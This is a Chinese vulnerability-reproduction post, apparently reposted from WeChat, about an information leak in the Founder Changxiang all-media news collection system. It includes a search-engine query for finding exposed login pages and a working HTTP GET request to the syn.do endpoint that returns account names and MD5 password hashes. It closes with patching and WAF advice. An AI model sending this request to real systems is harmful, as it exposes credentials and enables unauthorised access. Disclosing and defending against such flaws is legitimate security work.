请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。本文所提供的工具仅用于学习，禁止用于其他目的，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
方正畅享全媒体新闻采集系统为传媒业提供了全面获取新闻信息、高效采集新闻资源、高品质创造新闻内容的保障，是具有行业通用
方正畅享全媒体新闻采集系统syn.do接口处存在敏感信息泄露漏洞，恶意攻击者可能利用该漏洞获取到登录系统的账号密码，使系统处于及其不安全的状态。
漏洞编号：无
漏洞类型：信息泄露
360QUAKE: title: "全媒体采编V3.0-工作平台登录"
利用POC进行测试，获取到账号及密码（密码为md5加密）
GET /newsedit/assess/syn.do?type=org HTTP/1.1Host: 192.168.100.1:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 0
![方正畅享全媒体新闻采编系统 syn.do接口信息泄露]( "漏洞复现|方正畅享全媒体新闻采编系统 syn.do接口信息泄露")
Remediation recommendations
1、关注厂商打补丁或升级版本。
2、在Waf限制接口访问
原文始发于微信公众号（Guoxin 401）：漏洞复现|方正畅享全媒体新闻采编系统 syn.do接口信息泄露
评论